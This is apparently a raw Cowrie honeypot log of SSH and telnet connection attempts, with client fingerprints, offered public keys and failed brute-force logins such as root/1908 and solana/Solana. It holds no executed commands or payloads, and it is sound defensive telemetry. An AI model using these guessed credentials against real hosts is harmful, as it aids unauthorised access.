{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:01.668637Z","src_ip":"103.176.20.57","session":"002dcddeb1aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1908","message":"login attempt [root/1908] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:02.452241Z","src_ip":"103.176.20.57","session":"002dcddeb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:03.729003Z","src_ip":"103.176.20.57","session":"002dcddeb1aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.31570029258728,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:19:39.577421Z","src_ip":"128.199.8.54","session":"e1af629930d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45566,"dst_ip":"159.203.135.109","dst_port":23,"session":"08202ad3870a","protocol":"telnet","message":"New connection: 172.81.62.90:45566 (159.203.135.109:23) [session: 08202ad3870a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:05.066847Z"}
{"eventid":"cowrie.session.closed","duration":31.04859685897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:36.115294Z","src_ip":"172.81.62.90","session":"08202ad3870a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":45432,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2dda484445","protocol":"telnet","message":"New connection: 99.227.227.84:45432 (10.17.0.5:23) [session: 6e2dda484445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:51.204413Z"}
{"eventid":"cowrie.session.closed","duration":5.132378578186035,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:56.336657Z","src_ip":"99.227.227.84","session":"6e2dda484445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55552,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7324299f289","protocol":"ssh","message":"New connection: 80.94.92.184:55552 (159.203.135.109:22) [session: c7324299f289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:57.128395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:59.277220Z","src_ip":"80.94.92.184","session":"c7324299f289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:20:59.280326Z","src_ip":"80.94.92.184","session":"c7324299f289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:02.039547Z","src_ip":"80.94.92.184","session":"c7324299f289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:02.360765Z","src_ip":"80.94.92.184","session":"c7324299f289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":58610,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ffc7bf094b","protocol":"ssh","message":"New connection: 78.111.67.246:58610 (10.17.0.5:22) [session: 52ffc7bf094b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:03.685584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:03.689857Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:03.784827Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:9e:0d:43:8a:68:35:b5:e7:eb:42:f4:c0:1e:f6:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCrsngzCrrfUoNgWjC4DHimkVVL/TLUgpDUld9aoJQHL3FH24rKRCDzDByIPeV9dvznSWPxT+L4Dj7MPkg4zkTkkzy/m0S134fQma1Z+lCMK2YES9EJ7M9dglvw9lMWMw2pRPDHSc5AG6n6JbKfr31VTCQZAw3oUe0Y2mr4gr3fQr4AjZjr7eUKPcr/1tXAgq9ErSCa6ay60xZTvCK0b4JIWA7JZOI32yrUn25TAT1rj63mcdQRWS+HyEh2Y1HeTeO0hCp7JGcj+7h4M2Es8V5zbWeg0djKTwfYTOg2+QroCqhMPFrjfXapTkow0JLjkADZmiduEeCxu0WvKfW9QRz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:9e:0d:43:8a:68:35:b5:e7:eb:42:f4:c0:1e:f6:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.243018Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:9e:0d:43:8a:68:35:b5:e7:eb:42:f4:c0:1e:f6:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCrsngzCrrfUoNgWjC4DHimkVVL/TLUgpDUld9aoJQHL3FH24rKRCDzDByIPeV9dvznSWPxT+L4Dj7MPkg4zkTkkzy/m0S134fQma1Z+lCMK2YES9EJ7M9dglvw9lMWMw2pRPDHSc5AG6n6JbKfr31VTCQZAw3oUe0Y2mr4gr3fQr4AjZjr7eUKPcr/1tXAgq9ErSCa6ay60xZTvCK0b4JIWA7JZOI32yrUn25TAT1rj63mcdQRWS+HyEh2Y1HeTeO0hCp7JGcj+7h4M2Es8V5zbWeg0djKTwfYTOg2+QroCqhMPFrjfXapTkow0JLjkADZmiduEeCxu0WvKfW9QRz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.245942Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:0b:03:40:78:7f:20:03:d1:55:1b:b9:14:78:69:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfmdr9F9Vx6Mue+xLorSwLPTlAdlhdsxivExOmtSbs0J547hSZQc8INvS9cO8tnf+pIXbfsgfZGyRHfLhHmBeymhZ6zcQDrF5+z/QPk+/tOYJkmxCmPJ1rNdzQ3/A2OqqiPTY6lWEX3ZQDQANUM9Dn0Dh9Pcts/TgvzkdKJqpd58AwiwH/y7n4FB/ZabXOUVJhZaerrO2Rdd2JxVrMrlU+/w87IrhNdnPdAAbwbHWMVWy+LcZck0tDisagnZiya+rzLPrOok8w63YjgQ/5MTGLwRSZA7nPdOAqi+t4f2UCjlE+ZopIHowwHS/zyuR029rHfB3+WpibvJ/gaZoVs8yj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:0b:03:40:78:7f:20:03:d1:55:1b:b9:14:78:69:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.342268Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:0b:03:40:78:7f:20:03:d1:55:1b:b9:14:78:69:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfmdr9F9Vx6Mue+xLorSwLPTlAdlhdsxivExOmtSbs0J547hSZQc8INvS9cO8tnf+pIXbfsgfZGyRHfLhHmBeymhZ6zcQDrF5+z/QPk+/tOYJkmxCmPJ1rNdzQ3/A2OqqiPTY6lWEX3ZQDQANUM9Dn0Dh9Pcts/TgvzkdKJqpd58AwiwH/y7n4FB/ZabXOUVJhZaerrO2Rdd2JxVrMrlU+/w87IrhNdnPdAAbwbHWMVWy+LcZck0tDisagnZiya+rzLPrOok8w63YjgQ/5MTGLwRSZA7nPdOAqi+t4f2UCjlE+ZopIHowwHS/zyuR029rHfB3+WpibvJ/gaZoVs8yj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.347773Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:d4:0f:c9:c1:18:e0:02:30:86:d7:09:41:90:08:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/cte6Sj+di3j8OuJy+4qNCh8uY2wWo/xNdkFs1Ol4nk31o6/VjDX6XaHNPxR9p/1VeGDKDqhojlJfSJil+UjNVqNDmBR8aIJd8Nhkr97dhz9JkX2rzB9VGSBYNcuhVXLLBaPoKncxR06dkg9pRlouVQzBbD2tlYHg4TNBGUUlPvWDOZRR6uaWoTNhyU7KNwzsTcGl9oNS1i2fCrlJZo2eHDcPL6EQpTLOqKC2kJfR7hcXZycBkyRyNeBZF8xG56iP1NBegTr63pbTAEZhMiGWZUoy11zceyePIIK70/LIn8cvcpmVnFK3lr7PATd/Uo3ren1Iev5I/M/UBG69od5lVmb0N1J3Kue/1/ytXbD+YG7GHkZ1TxSWbeZr/bNKrU/nEoevHLvFZT0CbsCgU+vmagskW+JYcMI1ahXiOPkPRPH3vbZizd1ETNHPp/wcf1u9g8SpfnuG8Y4Dnv4sb9VCcVEjAT9Hxe9fhWRkGcNGyYz3kwQbN5/BHxCphY//v9k7Kad87+oL9kc07Uj95805rrNcJcfDdhsHENgUQme57H/8+yng0jmXGSaoLCkrgzpT7yBwv32rAZyZjyj8o4+TnBiSkD8/t2nvtAd0ygjUsj0PyrcyrAyV8TRfIiN3iW6j8/c3pkzoMtBLxNRtYzciwxgGGvlky2a8Q6gLYGxxAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:d4:0f:c9:c1:18:e0:02:30:86:d7:09:41:90:08:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.442464Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:d4:0f:c9:c1:18:e0:02:30:86:d7:09:41:90:08:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/cte6Sj+di3j8OuJy+4qNCh8uY2wWo/xNdkFs1Ol4nk31o6/VjDX6XaHNPxR9p/1VeGDKDqhojlJfSJil+UjNVqNDmBR8aIJd8Nhkr97dhz9JkX2rzB9VGSBYNcuhVXLLBaPoKncxR06dkg9pRlouVQzBbD2tlYHg4TNBGUUlPvWDOZRR6uaWoTNhyU7KNwzsTcGl9oNS1i2fCrlJZo2eHDcPL6EQpTLOqKC2kJfR7hcXZycBkyRyNeBZF8xG56iP1NBegTr63pbTAEZhMiGWZUoy11zceyePIIK70/LIn8cvcpmVnFK3lr7PATd/Uo3ren1Iev5I/M/UBG69od5lVmb0N1J3Kue/1/ytXbD+YG7GHkZ1TxSWbeZr/bNKrU/nEoevHLvFZT0CbsCgU+vmagskW+JYcMI1ahXiOPkPRPH3vbZizd1ETNHPp/wcf1u9g8SpfnuG8Y4Dnv4sb9VCcVEjAT9Hxe9fhWRkGcNGyYz3kwQbN5/BHxCphY//v9k7Kad87+oL9kc07Uj95805rrNcJcfDdhsHENgUQme57H/8+yng0jmXGSaoLCkrgzpT7yBwv32rAZyZjyj8o4+TnBiSkD8/t2nvtAd0ygjUsj0PyrcyrAyV8TRfIiN3iW6j8/c3pkzoMtBLxNRtYzciwxgGGvlky2a8Q6gLYGxxAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.444818Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:47:2f:2c:1c:a5:e9:ce:f0:01:85:27:2c:26:85:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfU9zDOlNErr2QdoD2DsKS+GwP3j9wLQgIic9w822F/w+hfBW5BCmoFO2mJOMfYMqDqUiqPqlO68QwPt0IOaUsHX/uvjZW+xVYs1Ity0TiqVlSffXAuZ8TBrta74VpIjeIrqohv6vBdKve+2Ne5D1fzuXCvArFTxiEnGOY3Hzm9R10YTINhJMOhCelNQd+f1LriJ8neLjqyg5AiDCXC2vipdN5p85DtBZkdk595w3TvzyMPUdFsME019RvDwwVACMQZfI+rK3AaJg5XuJW6FbZ6wH9X6okkat56VbElepvscWGl4Wb++hmw9SVvzGd0WNjgyx483HjLnE6+Q5YV2BfQ6c9+vEsAUGf/pCWJchFj3oE1fhzyFDEQtIzl8UPE+wxvyjwqEOeotYcUM5gZ4UblyqTWujgTv7tmAr8S5addMU+bGnQqpCcUniRN7CXLej2Bb1aX2FN7kY1XN/qI4hqJrOy0Oyz4RXGJ62DTtJi3EULW9hwcB5JKhAdXkMOc+KqI3ZpvzXD7F0TCatYZH6h6uevmEKwTETGuF3uon0ZqDBpQGIVZq1ZppV79jF+2ZU52lK9YLOuzC5SMFOVpZb6HBFnBegS3IWIemk5K50hNHUIrBEsmYklqEu5JbhfmAHLiXbeY+cRkNafKT+oJWZlUWcFfJGCmUVoK/CyBRe/tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:47:2f:2c:1c:a5:e9:ce:f0:01:85:27:2c:26:85:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.540041Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:47:2f:2c:1c:a5:e9:ce:f0:01:85:27:2c:26:85:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfU9zDOlNErr2QdoD2DsKS+GwP3j9wLQgIic9w822F/w+hfBW5BCmoFO2mJOMfYMqDqUiqPqlO68QwPt0IOaUsHX/uvjZW+xVYs1Ity0TiqVlSffXAuZ8TBrta74VpIjeIrqohv6vBdKve+2Ne5D1fzuXCvArFTxiEnGOY3Hzm9R10YTINhJMOhCelNQd+f1LriJ8neLjqyg5AiDCXC2vipdN5p85DtBZkdk595w3TvzyMPUdFsME019RvDwwVACMQZfI+rK3AaJg5XuJW6FbZ6wH9X6okkat56VbElepvscWGl4Wb++hmw9SVvzGd0WNjgyx483HjLnE6+Q5YV2BfQ6c9+vEsAUGf/pCWJchFj3oE1fhzyFDEQtIzl8UPE+wxvyjwqEOeotYcUM5gZ4UblyqTWujgTv7tmAr8S5addMU+bGnQqpCcUniRN7CXLej2Bb1aX2FN7kY1XN/qI4hqJrOy0Oyz4RXGJ62DTtJi3EULW9hwcB5JKhAdXkMOc+KqI3ZpvzXD7F0TCatYZH6h6uevmEKwTETGuF3uon0ZqDBpQGIVZq1ZppV79jF+2ZU52lK9YLOuzC5SMFOVpZb6HBFnBegS3IWIemk5K50hNHUIrBEsmYklqEu5JbhfmAHLiXbeY+cRkNafKT+oJWZlUWcFfJGCmUVoK/CyBRe/tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.542914Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:95:06:8e:82:1e:96:7f:60:21:1c:18:41:73:db:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfeFnJfPQk8rjcaWGshNZbM3v6fMLRdMg3nF5yt10aLZXRWLE/KH1YaftERq+E5nvDRk74fmHmcrAYYU2+DEv2DZuKjVhT0zxbYrKbOgYAOQRMKu+FN+U+JadSk0DFaOOZlGx9JT6mgFKjCoJiRAOBvBilvxa0H7j/WxVGp1Czcbtt8X2mXxBt1L+8FIhZrPQ+hAdrF4+nEcxDRZQStGWsf8T98kZwvs7dsMlWt6sD1UAIuwAvOwekL4SnCvbWZTNKwTnokEx7e+Q9P8ZsQI96+ZkhNU8rCaLq78I/jFa/cCAeIs7EIcnmcE5/9LRdU/00/DcFRwM2Sg53rB1IbYPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:95:06:8e:82:1e:96:7f:60:21:1c:18:41:73:db:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.639442Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:95:06:8e:82:1e:96:7f:60:21:1c:18:41:73:db:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfeFnJfPQk8rjcaWGshNZbM3v6fMLRdMg3nF5yt10aLZXRWLE/KH1YaftERq+E5nvDRk74fmHmcrAYYU2+DEv2DZuKjVhT0zxbYrKbOgYAOQRMKu+FN+U+JadSk0DFaOOZlGx9JT6mgFKjCoJiRAOBvBilvxa0H7j/WxVGp1Czcbtt8X2mXxBt1L+8FIhZrPQ+hAdrF4+nEcxDRZQStGWsf8T98kZwvs7dsMlWt6sD1UAIuwAvOwekL4SnCvbWZTNKwTnokEx7e+Q9P8ZsQI96+ZkhNU8rCaLq78I/jFa/cCAeIs7EIcnmcE5/9LRdU/00/DcFRwM2Sg53rB1IbYPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.642740Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:04.739151Z","src_ip":"78.111.67.246","session":"52ffc7bf094b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56030,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a77e1b728ea","protocol":"ssh","message":"New connection: 27.71.230.31:56030 (10.17.0.5:22) [session: 1a77e1b728ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:18.601618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:19.325068Z","src_ip":"27.71.230.31","session":"1a77e1b728ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:19.332078Z","src_ip":"27.71.230.31","session":"1a77e1b728ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e851db7d566","protocol":"ssh","message":"New connection: 176.32.39.21:52948 (159.203.135.109:22) [session: 4e851db7d566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:21:21.938734Z"}
